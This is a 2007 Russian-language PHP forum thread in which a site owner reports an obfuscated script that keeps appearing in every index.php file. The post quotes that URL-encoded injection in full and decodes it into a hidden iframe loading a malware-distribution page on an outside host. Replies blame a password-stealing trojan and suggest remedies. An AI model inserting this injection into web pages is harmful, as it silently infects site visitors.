Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Возникла проблема с сайтом...

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: Вредоносное ПО!!!
Silus
Отправлено: 10 Декабря, 2007 - 21:01:25
Post Id


Новичок


Покинул форум
Сообщений всего: 13
Дата рег-ции: Авг. 2007  


Помог: 0 раз(а)




Привет всем. Значит проблема такая:
Во всех файлах с названием index.php вдруг появляются такие строки-

"<script>document.write(unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%75%70%64%61%74%65%7a%2e%69%6e%66%6f%2f%65%74%63%2f%74%64%73%2e%70%68%70%22%20%77%69%64%74%68%3d%30%20%68%65%69%67%68%74%3d%30%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%20%6f%6e%4c%6f%61%64%3d%22%73%74%61%74%75%73%3d%64%65%66%61%75%6c%74%53%74%61%74%75%73%3b%22%3e%3c%2f%69%66%72%61%6d%65%3e'));</script>".

Расшифрованый код: "<iframe src="http://updatez.info/etc/tds.php" width=0 height=0 frameborder=0 onLoad="status=defaultStatus;"></iframe>".

Я никак не могу понять, откуда берутся эти строки. Этот код загружает вредоносное ПО!
Я уже устал удалять этот код из всех файлов index.php, а их у меня очень много.
Может кто знает, как избавиться от этого кода?
 
 Top
Staind
Отправлено: 10 Декабря, 2007 - 21:21:22
Post Id



Гость


Покинул форум
Сообщений всего: 116
Дата рег-ции: Нояб. 2007  
Откуда: Планета сокровищ


Помог: 0 раз(а)

[+]


2Silus, во-первых: НЕ ПИШИТЕ ДЛИННЮЩИЕ ССЫЛКИ.
Это раз. По поводу вашей проблемы:
У вас на компьютере пинч (вредоносная прога, похожая на вирус), которая ворует ваши сохраненные пароли от фтп (и не только, это только малая часть того, что она может). У вас же наверняка есть менеджер ftp и там ТОЧНО сохранен пароль (если память плохая - храните в txt файле). Удалите его просто, и каждый раз, когда нужно войти - пишите его заного. И трабл у вас не будет.
P.s. Такая же проблема была у меня давным давно.

P.s.s. Если хотите избавится от пинча, то придется искать крутой антивирусник (NOD32 последняя версия по моему берет) или format c Улыбка
 
 Top
Devoll
Отправлено: 10 Декабря, 2007 - 22:19:24
Post Id



Новичок


Покинул форум
Сообщений всего: 59
Дата рег-ции: Июль 2007  


Помог: 0 раз(а)




Формат C нажеднее Голливудская улыбка
 
 Top
Silus
Отправлено: 10 Декабря, 2007 - 22:36:20
Post Id


Новичок


Покинул форум
Сообщений всего: 13
Дата рег-ции: Авг. 2007  


Помог: 0 раз(а)




Вообщем нашел я этот пинч (windowsupdater.exe), удалил его, поменял все пароли...
Если не поможет, тогда точно Format C:\ Ниндзя
 
 Top
Staind
Отправлено: 10 Декабря, 2007 - 22:40:57
Post Id



Гость


Покинул форум
Сообщений всего: 116
Дата рег-ции: Нояб. 2007  
Откуда: Планета сокровищ


Помог: 0 раз(а)

[+]


Дааа... круто она себя замаскировала Улыбка))

2Devoll, я иногда балуюсь удалением виндой, иногда охото просто взять и начать жизнь с "чистого и протертого окна" Улыбка))
 
 Top
Devoll
Отправлено: 10 Декабря, 2007 - 23:07:13
Post Id



Новичок


Покинул форум
Сообщений всего: 59
Дата рег-ции: Июль 2007  


Помог: 0 раз(а)




Staind поддерживаю полность. Но я больше себя терраризирую. Я частенько ставлю себе Ubuntu, но каждый раз понимаю, что дрова для принтера мне под нее не найти и приходиться переставлять снова Улыбка
 
 Top
Staind
Отправлено: 10 Декабря, 2007 - 23:11:47
Post Id



Гость


Покинул форум
Сообщений всего: 116
Дата рег-ции: Нояб. 2007  
Откуда: Планета сокровищ


Помог: 0 раз(а)

[+]


Улыбка)))
А Ubuntu же бесплатная? Можешь дать линк, может как-нибудь установлю.

P.s. Сорри за флуд Улыбка
 
 Top
Devoll
Отправлено: 10 Декабря, 2007 - 23:16:59
Post Id



Новичок


Покинул форум
Сообщений всего: 59
Дата рег-ции: Июль 2007  


Помог: 0 раз(а)




http://www[dot]ubuntu[dot]ru - Linux-дистиб. На мой взгляд один из самых дружелюбных по отношению к пользователю. Работал практически со всеми известными дистрибами.
 
 Top
Staind
Отправлено: 10 Декабря, 2007 - 23:44:34
Post Id



Гость


Покинул форум
Сообщений всего: 116
Дата рег-ции: Нояб. 2007  
Откуда: Планета сокровищ


Помог: 0 раз(а)

[+]


Хорошо, спасибо за линк.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Программирование на PHP »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB